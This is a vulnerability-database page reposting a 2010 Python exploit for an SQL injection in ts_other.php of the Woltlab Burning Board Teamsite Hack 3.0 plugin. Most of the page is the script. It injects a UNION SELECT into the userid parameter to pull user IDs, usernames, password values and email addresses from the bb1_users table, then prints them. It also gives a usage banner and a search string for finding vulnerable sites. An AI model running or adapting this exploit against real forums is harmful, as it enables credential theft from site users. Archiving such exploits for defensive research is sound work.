Lucene search
K

Woltlab Burning Board Teamsite Hack <= 3.0 - ts_other.php SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 25 Views

Woltlab Burning Board Teamsite Hack V3.0 SQL Injection Exploit by Easy Laster

Code

                                                ----------------------------Information-----------------------------------------------------
+Name : Woltlab Burning Board Teamsite Hack V3.0 ts_other.php SQL Injection Exploit (Python)
+Autor : Easy Laster
+Date   : 21.03.2010
+Script  : Woltlab Burning Board Teamsite Hack V3.0
+Google Door : Teamsite Hack V3.0 by Blue -- Robis-Forum
+Download : http://www.robertotto.de/
+Price : Woltlab Burning  Board Lizenz 
+Language :PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Ic3Drag0n,novaca!ne.

---------------------------------------------------------------------------------------------
                                                                                     
 ___ ___ ___ ___                         _ _           _____           _         _   
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_ 
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|  
                                              |___|                 |___|            


---------------------------------------------------------------------------------------------
#!/usr/bin/env python
#-*- coding:utf-8 -*-
import sys, urllib2, re

if len(sys.argv) &#60; 2:
    print &#34;***************************************************************&#34;
    print &#34;*****Woltlab Board Burning Board Teamsite Hack V2.0 ***********&#34;
    print &#34;***************************************************************&#34;
    print &#34;*          Discovered and vulnerability by Easy Laster        *&#34;
    print &#34;*                      coded by Dr.ChAoS                      *&#34;
    print &#34;*                                                             *&#34;
    print &#34;*                          &#60;=Usage=&#62;                          *&#34;
    print &#34;* python exploit.py http://site.de/forum/ &#60;userid, default=1&#62; *&#34;
    print &#34;*                                                             *&#34;
    print &#34;***************************************************************&#34;
    exit()

if len(sys.argv) &#60; 3:
    id = 1
else:
    id = sys.argv[2]

forum = sys.argv[1]
if forum[-1:] != &#34;/&#34;:
    forum += &#34;/&#34;

urlPart1 = forum + &#34;ts_other.php?action=modboard&userid=1111111&#39;+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,concat(userid,0x3a,username,0x3a,password,0x3a,email),24,23,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55&#34;
urlPart2 = &#34;+from+bb1_users+where+userid=&#34; + str(id) + &#34;--+&#34;
columns = &#34;&#34;

print &#34;Exploiting...&#34;

for i in range(10):   
    html = urllib2.urlopen(urlPart1 + columns + urlPart2).read()
    ##I hate regex!
    res = re.findall(r&#34;&#62;([1-9])\:(.*)\:(.*)&#60;&#34;, html)
    if len(res) &#62; 0:
        userID = res[0][0]
        userData = res[0][1].rsplit(&#34;:&#34;, 1)
        email = res[0][2].split(&#34;&#60;&#34;)[0]
        print &#34;Success!\n&#34;
        print &#34;ID: &#34; + str(userID)
        print &#34;Username: &#34; + userData[0]
        print &#34;Password: &#34; + userData[1]
        print &#34;E-Mail: &#34; + str(email)
        print &#34;\nHave a nice day!&#34;
        exit()
    columns += &#34;,1&#34;

print &#34;Exploit failed...&#34;


                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation